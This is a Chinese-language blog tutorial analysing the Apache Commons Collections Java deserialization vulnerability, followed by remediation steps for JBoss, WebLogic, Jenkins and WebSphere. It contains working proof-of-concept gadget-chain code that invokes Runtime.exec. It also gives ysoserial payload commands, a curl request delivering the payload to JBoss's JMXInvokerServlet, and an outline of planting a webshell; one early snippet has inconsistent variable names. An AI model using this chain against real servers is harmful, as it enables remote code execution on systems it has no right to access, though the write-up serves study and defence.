Java反序列化漏洞分析

isnull   ·   发表于 2019-04-27 11:40:15   ·   漏洞文章


目录


1. 背景
2. 认识java序列化与反序列化
3. 理解漏洞的产生
4. POC构造
5. 实际漏洞环境测试
6. 总结


背景


  2015年11月6日FoxGlove Security安全团队的@breenmachine 发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在将近10个月前, Gabriel Lawrence 和Chris Frohoff 就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。 

  目前,针对这个"2015年最被低估"的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理。但是网络上仍有大量网站受此漏洞影响。



认识Java序列化与反序列化

定义:

  序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程
  反序列化即逆过程,由字节流还原成对象
  注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

用途:

  1) 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
  2) 在网络上传送对象的字节序列。

应用场景:

  1) 一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。

  2) 在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

    比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

  例子: 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消。这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存。



Java中的API实现:

  位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream

  序列化:  ObjectOutputStream类 --> writeObject()

注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中

按Java的标准约定是给文件一个.ser扩展名

  反序列化: ObjectInputStream类 --> readObject()   

         注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

简单测试代码:

import java.io.*;

/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/

public class Java_Test{
    public static void main(String args[]) throws Exception {
        String obj = "ls ";

        // 将序列化对象写入文件object.txt中
        FileOutputStream fos = new FileOutputStream("aa.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();

        // 从文件object.txt中读取数据
        FileInputStream fis = new FileInputStream("aa.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);

        // 通过反序列化恢复对象obj
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);
        ois.close();
    }
}

 

 我们可以看到,先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。

  实现Serializable和Externalizable接口的类的对象才能被序列化。

  Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。
  对象序列化包括如下步骤:
  1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
  2) 通过对象输出流的writeObject()方法写对象。
  对象反序列化的步骤如下:
  1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
  2) 通过对象输入流的readObject()方法读取对象。


代码实例

我们创建一个Person接口,然后写两个方法:

    序列化方法:   创建一个Person实例,调用函数为其三个成员变量赋值,通过writeObject方法把该对象序列化,写入Person.txt文件中
    反序列化方法:调用readObject方法,返回一个经过饭序列化处理的对象

  在测试主类里面,我们先序列化Person实例对象,然后又反序列化该对象,最后调用函数获取各个成员变量的值。


测试代码如下:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.text.MessageFormat;
import java.io.Serializable;

class Person implements Serializable {
    /**
     * 序列化ID
     */
    private static final long serialVersionUID = -5809782578272943999L;


    private int age;
    private String name;
    private String sex;

    public int getAge() {
        return age;
    }
    public String getName() {
        return name;
    }
    public String getSex() {
        return sex;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setSex(String sex) {
        this.sex = sex;
    }
}
/**
 * <p>ClassName: SerializeAndDeserialize<p>
 * <p>Description: 测试对象的序列化和反序列<p>
 */
public class SerializeDeserialize_readObject {
    public static void main(String[] args) throws Exception {
        SerializePerson();//序列化Person对象
        Person p = DeserializePerson();//反序列Perons对象
        System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
                                                 p.getName(), p.getAge(), p.getSex()));
    }
    /**
     * MethodName: SerializePerson
     * Description: 序列化Person对象
     */
    private static void SerializePerson() throws FileNotFoundException,
            IOException {
        Person person = new Person();
        person.setName("ssooking");
        person.setAge(20);
        person.setSex("男");
        // ObjectOutputStream 对象输出流,将Person对象存储到Person.txt文件中,完成对Person对象的序列化操作
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
                new File("Person.txt")));
        oo.writeObject(person);
        System.out.println("Person对象序列化成功!");
        oo.close();
    }
    /**
     * MethodName: DeserializePerson
     * Description: 反序列Perons对象
     */
    private static Person DeserializePerson() throws Exception, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
        /*
            FileInputStream fis = new FileInputStream("Person.txt"); 
            ObjectInputStream ois = new ObjectInputStream(fis);
        */
        Person person = (Person) ois.readObject();
        System.out.println("Person对象反序列化成功!");
        return person;
    }
}


漏洞是怎么来的呢?

  我们既然已经知道了序列化与反序列化的过程,那么如果反序列化的时候,这些即将被反序列化的数据是我们特殊构造的呢!

  如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。




漏洞分析

从Apache Commons Collections说起


项目地址
官网:    http://commons.apache.org/proper/commons-collections/ 
Github:  https://github.com/apache/commons-collections

   由于对java序列化/反序列化的需求,开发过程中常使用一些公共库。

   Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包如下图所示,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

  org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。


  作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。 

   Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。

JAVA反射机制
    在运行状态中:
      对于任意一个类,都能够判断一个对象所属的类;
      对于任意一个类,都能够知道这个类的所有属性和方法;
      对于任意一个对象,都能够调用它的任意一个方法和属性;
    这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

  这里涉及到了很多概念,不要着急,接下来我们就来详细的分析一下。



POC构造

  经过对前面序列与反序列化的了解,我们蠢蠢欲动。那么怎样利用这个漏洞呢?

  一丁点儿思路:

构造一个对象 —— 反序列化 —— 提交数据

  OK? 我们现在遇到的关键问题是: 什么样对象符合条件?如何执行命令?怎样让它在被反序列化的时候执行命令?

  首先,我们可以知道,要想在java中调用外部命令,可以使用这个函数 Runtime.getRuntime().exec(),然而,我们现在需要先找到一个对象,可以存储并在特定情况下执行我们的命令。


(1)Map类 --> TransformedMap

  Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。

  至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。等会我们就来了解一下transform。

  我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。

    第一个参数为待转化的Map对象
    第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
    第三个参数为Map对象内的value要经过的转化方法


(2)Transformer接口

Defines a functor interface implemented by classes that transform one object into another.
作用:接口于Transformer的类都具备把一个对象转化为另一个对象的功能

transform的源代码

我们可以看到该类接收一个对象,获取该对象的名称,然后调用了一个invoke反射方法。另外,多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。

下面是一些实现Transformer接口的类,箭头标注的是我们会用到的。

ConstantTransformer
把一个对象转化为常量,并返回。

InvokerTransformer
通过反射,返回一个对象

ChainedTransformer
ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer

 

 Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:

public class InvokerTransformer implements Transformer, Serializable {
...

    /*
        Input参数为要进行反射的对象,
        iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
        iArgs为对应方法的参数
        在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
    */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
}


只需要传入方法名、参数类型和参数,即可调用任意函数。



  在这里,我们可以看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为: Runtime --> getRuntime --> exec()

  因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

  再理一遍:

1)构造一个Map和一个能够执行代码的ChainedTransformer,
  2)生成一个TransformedMap实例
  3)利用MapEntry的setValue()函数对TransformedMap中的键值进行修改
  4)触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换


知识补充

Map是java中的接口,Map.Entry是Map的一个内部接口。
Map提供了一些常用方法,如keySet()、entrySet()等方法。
keySet()方法返回值是Map中key值的集合;
entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry。
Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。
接口中有getKey(),getValue方法,可以用来对集合中的元素进行修改

我们可以实现这个思路

public static void main(String[] args) throws Exception {
    //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] {String.class }, new Object[] {"calc.exe"})};

    //首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //触发Map中的MapEntry产生修改(例如setValue()函数
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();

    onlyElement.setValue("foobar");
    /*代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:
       首先通过ConstantTransformer获得Runtime类
       进一步通过反射调用getMethod找到invoke函数
       最后再运行命令calc.exe。
    */
}


思考

目前的构造还需要依赖于Map中某一项去调用setValue() 怎样才能在调用readObject()方法时直接触发执行呢?


更近一步

  我们知道,如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我么就可以实现攻击目标。

  于是,我们开始寻寻觅觅,终于,我们找到了~

  AnnotationInvocationHandler类

这个类有一个成员变量memberValues是Map类型 
更棒的是,AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数对value

 

这个类完全符合我们的要求,那么,我们的思路就非常清晰了

1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
  2)生成一个TransformedMap实例
  3)实例化AnnotationInvocationHandler,并对其进行序列化,
  4)当触发readObject()反序列化的时候,就能实现命令执行。

  

POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发

我们回顾下所有用到的技术细节

(1)java方法重写:如果一个类的方法被重写,那么调用该方法时优先调用该方法

(2)JAVA反射机制:在运行状态中
             对于任意一个类,都能够判断一个对象所属的类;
             对于任意一个类,都能够知道这个类的所有属性和方法;
              对于任意一个对象,都能够调用它的任意一个方法和属性;
(3)认识关键类与函数
    TransformedMap :      利用其value修改时触发transform()的特性
    ChainedTransformer: 会挨个执行我们定义的Transformer
    Transformer:                 存放我们要执行的命令
    AnnotationInvocationHandler:对memberValues的每一项调用了setValue()函数

具体实现

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;



public class POC_Test{
    public static void main(String[] args) throws Exception {
        //execArgs: 待执行的命令数组
        //String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };

        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            /*
            由于Method类的invoke(Object obj,Object args[])方法的定义
            所以在反射内写new Class[] {Object.class, Object[].class }
            正常POC流程举例:
            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class }, 
                new Object[] {null, null }
            ),
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { "whoami" }
                //new Object[] { execArgs } 
            )
        };

        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        Transformer transformedChain = new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
        //Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

        BeforeTransformerMap.put("hello", "hello");

        //Map数据结构,转换后的Map
       /*
       TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}
/*
思路:构建BeforeTransformerMap的键值对,为其赋值,
     利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
     对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行

     执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()

*/


漏洞挖掘

1.漏洞触发场景
   在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:
  1)HTTP请求中的参数,cookies以及Parameters。
  2)RMI协议,被广泛使用的RMI协议完全基于序列化
  4)JMX 同样用于处理序列化对象
  5)自定义协议 用来接收与发送原始的java对象

2. 漏洞挖掘
  (1)确定反序列化输入点
    首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
      1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
       2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等
     注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。
  (2)再考察应用的Class Path中是否包含Apache Commons Collections库
  (3)生成反序列化的payload
  (4)提交我们的payload数据


相关工具

  ysoserial是一个用我们刚才的思路生成序列化payload数据的工具。当中针对Apache Commons Collections 3的payload也是基于TransformedMapInvokerTransformer来构造的,然而在触发时,并没有采用上文介绍的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相关代码来实现触发。此处不再做深入分析,有兴趣的读者可以参考ysoserial的源码。

获取方法

去github上下载jar发行版:https://github.com/frohoff/ysoserial/releases
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar

或者自行编译:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests


相关Tool链接

  https://github.com/frohoff/ysoserial

  https://github.com/CaledoniaProject/jenkins-cli-exploit

  https://github.com/foxglovesec/JavaUnserializeExploits


ysoserial
去github上下载jar发行版:https://github.com/frohoff/ysoserial/releases
或者自行编译:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests 
没有mvn的话需要先安装:sudo apt-get install maven


实际漏洞环境测试


JBOSS

JBoss是一个管理和运行EJB项目的容器和服务器

Enterprise JavaBean (EJB)规范定义了开发和部署基于事务性、分布式对象应用程序的服务器端软件组件的体系结构。
企业组织可以构建它们自己的组件,或从第三方供应商购买组件。
这些服务器端组件称作 Enterprise Bean,它们是 Enterprise JavaBean 
容器中驻留的分布式对象,为分布在网络中的客户机提供远程服务。



实际测试版本

Jboss6.1

Download: http://jbossas.jboss.org/downloads/
Unzip: unzip jboss-as-7.1.1.Final.zip

修改配置文件,修改默认访问端口,设置外部可访问
 vi  /server/default/deploy/jbossweb.sar/server.xml
运行服务
iptables -I INPUT -p tcp --dport 80 -j ACCEPT
sh jbosspath/bin/run.sh -b 0.0.0.0        

关闭服务器
sh jbosspath/bin/shutdown.sh -S

测试
http://ip:8080
http://ip:8080/web-console

 

补充:CentOS默认开启了防火墙,所以80端口是不能正常访问的),输入命令:
 iptables -I INPUT -p tcp --dport 80 -j ACCEPT


  这里以Jboss为例。Jboss利用的是HTTP协议,可以在任何端口上运行,默认安装在8080端口中。

  Jboss与“JMXInvokerServlet”的通信过程中存在一个公开漏洞。JMX是一个java的管理协议,在Jboss中的JMXInvokerServlet可以使用HTTP协议与其进行通话。这一通信功能依赖于java的序列化类。在默认安装的Jboss中,JMXInvokerServlet的路径恰好为http://localhost:8080/invoker/JMXInvokerServlet。

  如果用户访问一个该url,实际上会返回一个原始的java对象,这种行为显然存在一个漏洞。但由于jmxinvokerservlet与主要的Web应用程序在同一个端口上运行,因此它很少被防火墙所拦截这个漏洞可以很经常的通过互联网被利用。

  因此,可以以jmx作为Jboss接受外部输入的点,可以利用java HTTP client包构建POST请求,post请求包中数据为使用ysoserial处理之后的构建代码

通常的测试可以使用的命令


搜索匹配"readObject"靶点
   grep -nr "readObject" *
测试是否含该漏洞的jar包文件
    grep -R InvokerTransformer
生成序列化payload数据
    java -jar ysoserial-0.0.4-all.jar CommonsCollections1 '想要执行的命令' > payload.out
提交payload数据
  curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@payload.out' http://ip:8080/invoker/JMXInvokerServlet
exploit例子
java -jar  ysoserial-0.0.2-all.jar   CommonsCollections1  'echo 1 > /tmp/pwned'  >  payload
curl --header 'Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet


我们提交payload数据时,可以抓取数据包进行分析,看起来大概像这个样子(图片不是自己环境测试中的)



总结

漏洞分析

  引发:如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

  原因: 类ObjectInputStream在反序列化时,没有对生成的对象的输入做限制,使攻击者利用反射调用函数进行任意命令执行。
     CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法

  根源:Apache Commons Collections允许链式的任意的类函数反射调用
     问题函数:org.apache.commons.collections.Transformer接口


  利用:要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。

  思路:攻击者通过允许Java序列化协议的端口,把序列化的攻击代码上传到服务器上,再由Apache Commons Collections里的TransformedMap来执行。
   至于如何使用这个漏洞对系统发起攻击,举一个简单的思路,通过本地java程序将一个带有后门漏洞的jsp(一般来说这个jsp里的代码会是文件上传和网页版的SHELL)序列化,
将序列化后的二进制流发送给有这个漏洞的服务器,服务器会反序列化该数据的并生成一个webshell文件,然后就可以直接访问这个生成的webshell文件进行进一步利用。


启发

开发者:
  为了确保序列化的安全性,可以对于一些敏感信息加密;
  确保对象的成员变量符合正确的约束条件;
  确保需要优化序列化的性能。
漏洞挖掘:
  (1)通过代码审计/行为分析等手段发现漏洞所在靶点
  (2)进行POC分析构造时可以利用逆推法


漏洞修补

Java反序列化漏洞的快速排查和修复方案

目前打包有apache commons collections库并且应用比较广泛的主要组件有Jenkins WebLogic Jboss WebSphere  OpenNMS。
其中Jenkins由于功能需要大都直接暴露给公网。

首先确认产品中是否包含上述5种组件
使用grep命令或者其他相关搜索命令检测上述组件安装目录是否包含库Apache Commons Collections。搜索下列jar。
commons-collections.jar
*.commons-collections.jar
apache.commons.collections.jar
*.commons-collections.*.jar
如果包含请参考下述解决方案进行修复。
通用解决方案

更新Apache Commons Collections库
  Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。

NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
  之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

 

 严格意义说起来,Java相对来说安全性问题比较少,出现的一些问题大部分是利用反射,最终用Runtime.exec(String cmd)函数来执行外部命令的。

  如果可以禁止JVM执行外部命令,未知漏洞的危害性会大大降低,可以大大提高JVM的安全性。比如:

SecurityManager originalSecurityManager = System.getSecurityManager();
    if (originalSecurityManager == null) {
        // 创建自己的SecurityManager
        SecurityManager sm = new SecurityManager() {
        private void check(Permission perm) {
            // 禁止exec
            if (perm instanceof java.io.FilePermission) {
                String actions = perm.getActions();
                if (actions != null && actions.contains("execute")) {
                    throw new SecurityException("execute denied!");
                }
            }
            // 禁止设置新的SecurityManager
            if (perm instanceof java.lang.RuntimePermission) {
                String name = perm.getName();
                if (name != null && name.contains("setSecurityManager")) {
                    throw new SecurityException(
                    "System.setSecurityManager denied!");
                }
            }
        }
        @Override
        public void checkPermission(Permission perm) {
            check(perm);
        }
        @Override
        public void checkPermission(Permission perm, Object context) {
            check(perm);
        }
    };
   System.setSecurityManager(sm);
}

  如上所示,只要在Java代码里简单加一段程序,就可以禁止执行外部程序了。

  禁止JVM执行外部命令,是一个简单有效的提高JVM安全性的办法。可以考虑在代码安全扫描时,加强对Runtime.exec相关代码的检测。


针对其他的Web Application的修复


Weblogic
影响版本:Oracle WebLogic Server, 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 版本。
临时解决方案
1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类;
2 在不影响业务的情况下,临时删除掉项目里的
“org/apache/commons/collections/functors/InvokerTransformer.class” 文件;
官方解决方案
官方声明: http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html
Weblogic 用户将收到官方的修复支持

Jboss
临时解决方案
1 删除 commons-collections jar 中的 InvokerTransformer, InstantiateFactory, 和InstantiateTransfromer class 文件
官方解决方案
https://issues.apache.org/jira/browse/COLLECTIONS-580
https://access.redhat.com/solutions/2045023


jenkins
临时解决方案
  1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类;
  2 在不影响业务的情况下,临时删除掉项目里的“org/apache/commons/collections/functors/InvokerTransformer.class” 文件;
官方解决方案: Jenkins 发布了 安全公告 ,并且在1.638版本中修复了这个漏洞。
官方的补丁声明链接:
https://jenkins-ci.org/content/mitigating-unauthenticated-remote-code-execution-0-day-jenkins-cli
https://github.com/jenkinsci-cert/SECURITY-218


websphere
  Version8.0,Version7.0,Version8.5 and 8.5.5 Full Profile and Liberty Profile
临时解决方案
1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类;
2 在不影响业务的情况下,临时删除掉项目里的“org/apache/commons/collections/functors/InvokerTransformer.class” 文件
在服务器上找org/apache/commons/collections/functors/InvokerTransformer.class类的jar,目前weblogic10以后都在Oracle/Middleware/modules下    
com.bea.core.apache.commons.collections_3.2.0.jar,创建临时目录tt,解压之后删除InvokerTransformer.class类后
再改成com.bea.core.apache.commons.collections_3.2.0.jar
覆盖Oracle/Middleware/modules下,重启所有服务。如下步骤是linux详细操作方法:
A)mkdir tt
B)cp -r Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar ./tt
C)jar xf Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar
D)cd org/apache/commons/collections/functors
E)rm -rf InvokerTransformer.class
F)jar cf com.bea.core.apache.commons.collections_3.2.0.jar org/* META-INF/*
G)mv com.bea.core.apache.commons.collections_3.2.0.jar Oracle/Middleware/modules/
H)重启服务

重启服务时候要删除server-name下的cache和tmp
例如rm -rf ~/user_projects/domains/base_domain/servers/AdminServer/cache
rm -rf  ~/user_projects/domains/base_domain/servers/AdminServer/tmp


打赏我,让我更有动力~

0 条回复   |  直到 2019-4-27 | 1118 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.